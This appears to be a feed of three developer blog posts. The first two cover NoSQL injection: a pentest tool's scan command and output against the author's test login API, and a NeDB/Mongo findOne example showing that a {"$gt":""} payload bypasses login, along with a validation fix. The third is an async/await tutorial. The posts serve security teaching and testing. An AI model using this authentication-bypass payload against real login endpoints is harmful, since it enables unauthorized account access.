DEV Community: Igor Souza Martins

Making easier a NoSQLi pentest

Igor Souza Martins — Tue, 14 May 2019 15:02:58 +0000

Hello, everyone!

Today I've created a project which automates a NoSQLi pentest, but this is the first version and I ask for help in this project.

If you have an interest in helping a little project to become a large project to make our life as "security guys" more easier, please, send issues or send a PR.

So, how this project works?

With some info from a request, the "exploit" can test if the request parameters can be exploited with some payloads of NoSQLi.

Example to exploit an login API, where we have a POST request and we have a JSON data with user and pass:

[igor.martins automated]$ nosqli-checkr scan --host="https://nosql-checkr-test.herokuapp.com/api/v1/login" --data='{ "user": "wubba", "pass": "" }' --method="post" --params="pass" --error-message='{"success":false,"result":"user/pass not found"}'


 ███╗   ██╗  ██████╗  ███████╗  ██████╗  ██╗      ██╗      ██████╗ ██╗  ██╗ ███████╗  ██████╗ ██╗  ██╗ ██████╗  
 ████╗  ██║ ██╔═══██╗ ██╔════╝ ██╔═══██╗ ██║      ██║     ██╔════╝ ██║  ██║ ██╔════╝ ██╔════╝ ██║ ██╔╝ ██╔══██╗ 
 ██╔██╗ ██║ ██║   ██║ ███████╗ ██║   ██║ ██║      ██║     ██║      ███████║ █████╗   ██║      █████╔╝  ██████╔╝ 
 ██║╚██╗██║ ██║   ██║ ╚════██║ ██║▄▄ ██║ ██║      ██║     ██║      ██╔══██║ ██╔══╝   ██║      ██╔═██╗  ██╔══██╗ 
 ██║ ╚████║ ╚██████╔╝ ███████║ ╚██████╔╝ ███████╗ ██║     ╚██████╗ ██║  ██║ ███████╗ ╚██████╗ ██║  ██╗ ██║  ██║ 
 ╚═╝  ╚═══╝  ╚═════╝  ╚══════╝  ╚══▀▀═╝  ╚══════╝ ╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚══════╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ 


✔ Request finished
✔ Response analyzed
✔ https://nosql-checkr-test.herokuapp.com/api/v1/login is vulnerable

ℹ Payload: {"$gt":""}
ℹ Evil data 😈: {"user":"wubba","pass":{"$gt":""}}
ℹ Data stoled:
{
    "success": true,
    "result": {
        "user": "wubba",
        "_id": "hVFQzFwVlMwCYFBT"
    }
}

The "exploit" test the param pass and find a payload {"$gt":""} which can exploit the NoSQL Injection flaw.

Parameters

-h or --host: Route URL. Ex: https://nosql-checkr-test.herokuapp.com/api/v1/login
-hr or --headers: Request headers. Ex: token:val or token:val;token2:val2
-d or --data: Request data: Ex: { "user": "wubba", "pass": "" }
-m or --method: Request method: Ex: post or POST
-p or --params: Request params which will be exploited: Ex: pass or user,pass
-e or --error-message: The default error message of request. Ex: {"success":false,"result":"user/pass not found"}

Github Project

Beware of the findOne function

Igor Souza Martins — Sat, 24 Nov 2018 13:29:17 +0000

Hello, since my last post Easy Requests in NodeJS, I moved to the information security industry and started to study / investigate a lot about vulnerabilities in modern applications.

In this post, we will find how protect our web applications against NoSQL Injection

According with OWASP Top 10 - 2017, the most frequent vulnerability in the last year was the A1:2017-Injection, which refers to the injection of a malicious code at a certain point in a vulnerable system, the most known injection is SQL Injection, through URLs, forms we can send malicious queries to the victim's database.

Nowadays, it is common to find systems that have an API to authenticate users and that use a non-relational database to store this information, a much used bank is Mongo.

In the example below, we used the NeDB bank which has a syntax very similar of Mongo.

controller

exports.login = async (req, reply) => {
    try {
        let { user, pass } = req.body

        let result = await findOne({user, pass})

        return reply.code(200).send(result)
    } catch (e) {
        return reply.code(500).send({ success: false, result: 'user/pass not found' })
    }
}

db.findOne

async function findOne(query) {
    return new Promise((resolve, reject) => {
        db.findOne(query, (err, result) => {
            if (err) return reject(err)

            resolve({ success: true, result })
        })
    })
}

The login was made because the object we passed to findOne was a valid object, that is, both user and pass have values that actually exist in the database.

At the beginning of this post I commented on SQL Injection, but have you heard of NoSQL Injection? Not? Okay, you'll understand what this is, see the next function:


db.findOne(query, (err, result) => {
    if (err) return reject(err)

    resolve({ success: true, result })
})

Basically what this function does is a check in the database to know if there is any record with the values we passed to user && pass, note that I used the logical operator && (and ).

This does not make you think that if we pass at least the valid user and instead of the pass inform another validation that returns TRUE, will the function work?

Both Mongo and NeDB have filters that can be used in the queries in the database, for example the $gt, it is the equivalent of the relational operator ">". Let's do a query using this filter instead of the password.

That is, we made a query in the database asking if it has a record with user "wubba" and that the value of pass is greater than "nothing", if there is a user with that name, of course the password will be greater than "nothing".

If we pass the same object {"$ gt": ""} in user and pass, the bank will return the first record it has!

This shows us that the findOne function is dangerous if we do not create treatments for the values we pass to it, in this case we can validate if the information being informed is not an object.

To fix it we can use the following function

controller

exports.loginProtected = async (req, reply) => {
    try {
        let { user, pass } = req.body
        await isObject({ user, pass })

        let result = await findOne({user, pass})

        return reply.code(200).send(result)
    } catch (e) {
        return reply.code(500).send({ success: false, result: 'user/pass not found' })
    }
}

isObject


async function isObject(params) {
    return new Promise((resolve, reject) => {
        Object.keys(params).forEach((v, i) => {
            if (typeof params[v] === 'object') return reject(false)
        })
        resolve(true)
    })
}

This case was reproduced using NeDB bank, but was also simulated using Mongo and Sails/Waterline, if you find in another bank, comment here to help someone else 😉

Github Project https://github.com/nulldreams/nosql-pentest

Easy Requests in NodeJS

Igor Souza Martins — Tue, 21 Aug 2018 12:26:58 +0000

⚠ Before you start read, this is my first post, I dont have much experience in blog posting, so send me a feedback about this one ☄

Hi!

Today i’ll share with you how i use async/await to make my http/https requests more easy.

What is async/await?

The simple answer, a function that has async declaration can be “paused” when we use await expression.

Let’s see how it works…

In Matrix (1999), Trinity sends a message to Neo that say Folow the white rabbit. Now in this example Trinity has a problem with asynchronous javascript:

function sendMessageToNeo() {
    partOne()
    partTwo()
}
function partOne() {
    setTimeout(() => {
        console.log('follow the')
    }, 1000)
}
function partTwo() {
    setTimeout(() => {
        console.log('white rabbit')
    }, 500)
}

sendMessageToNeo()

output

white rabbit
follow the

Using async/await we can help Trinity

async function sendMessageToNeo() {
    await partOne()
    await partTwo()
}
async function partOne() {
    await wait(1000)
    console.log('follow the')
}
async function partTwo() {
    await wait(500)
    console.log('white rabbit')
}

async function wait(ms = 0) {
    return new Promise(r => setTimeout(r, ms))
}

sendMessageToNeo()

output

follow the
white rabbit

🐰🐰🐰

Let’s make our project

Create three files in your project folder

package.json
request.js
app.js

package.json

{
  "dependencies": {
    "cheerio": "^1.0.0-rc.2",
    "request": "^2.87.0"
  }
}

cheerio: Used for html manipulation
request: Make the requests

request.js

const request = require('request')

async function get (url) {
  return new Promise((resolve, reject) => {
    request({ url, method: 'GET' }, (error, response, body) => {
      if (error) return reject(error)

      return resolve({ body, response })
    })
  })
}

async function post (url, data) {
  return new Promise((resolve, reject) => {
    request({ url, method: 'POST', data }, (error, response, body) => {
      if (error) return reject(error)

      return resolve({ body, response })
    })
  })
}

module.exports = {
  get,
  post
}

In request.js we create a synchronous logic for requests, see the async declarations and Promises.

app.js

const request = require('./request')
const cheerio = require('cheerio')

async function sendRequest () {
  let { response, body } = await request.get(`https://www.google.com.br/search?q=node+js`)

  if (response.statusCode !== 200) {
      return error(response, body)
  }

  success(response, body)
}

function success (response, body) {
    const $ = cheerio.load(body)

    console.log(`Status: ${response.statusCode}`)
    console.log(`Message: ${response.statusMessage}`)
    console.log(`Request: ${$('.g').length} results found!`)
}
function error (response) {
    console.log(`Status: ${response.statusCode}`)
    console.log(`Message: ${response.statusMessage}`)
}

sendRequest()

In app.js we will make a request to Google and if we have a success response, we will print a count from results.

output

Status: 200
Message: OK
Request: 10 results found!

See the diference

without async/await

function sendRequest() {
    request({ url: '_url', method: 'GET' }, (error, response, body) => {
      if (error) return console.log(error)

      console.log(body)
      console.log(response)
    })  
}
sendRequest()

with async/await

async function sendRequest() {
    let { response, body } = await request.get(`_url`)

    console.log(body)
    console.log(response)
}
sendRequest()

Conclusion

In this post we can see how async/await make more beautiful our code and with this guys we don’t have problems with the famous Callback Hell

callback hell

function hell() {
    functionOne('one', (err, one) => {
        console.log(one)
        functionTwo('two', (err, two) => {
            console.log(two)
            functionThree('three', (err, three) => {
                console.log(three)
                functionFour('four', (err, four) => {
                    console.log(four)
                })
            })
        })
    })
}

with async/await

async function heaven() {
    let one = await functionOne('one')
    let two = await functionTwo('two')
    let three = await functionThree('three')
    let four = await functionFour('four')

    console.log(one)
    console.log(two)
    console.log(three)
    console.log(four)
}

So, if you have problems with async/await or you have a suggest to me, send a comment in this post.

Bye! See you soon!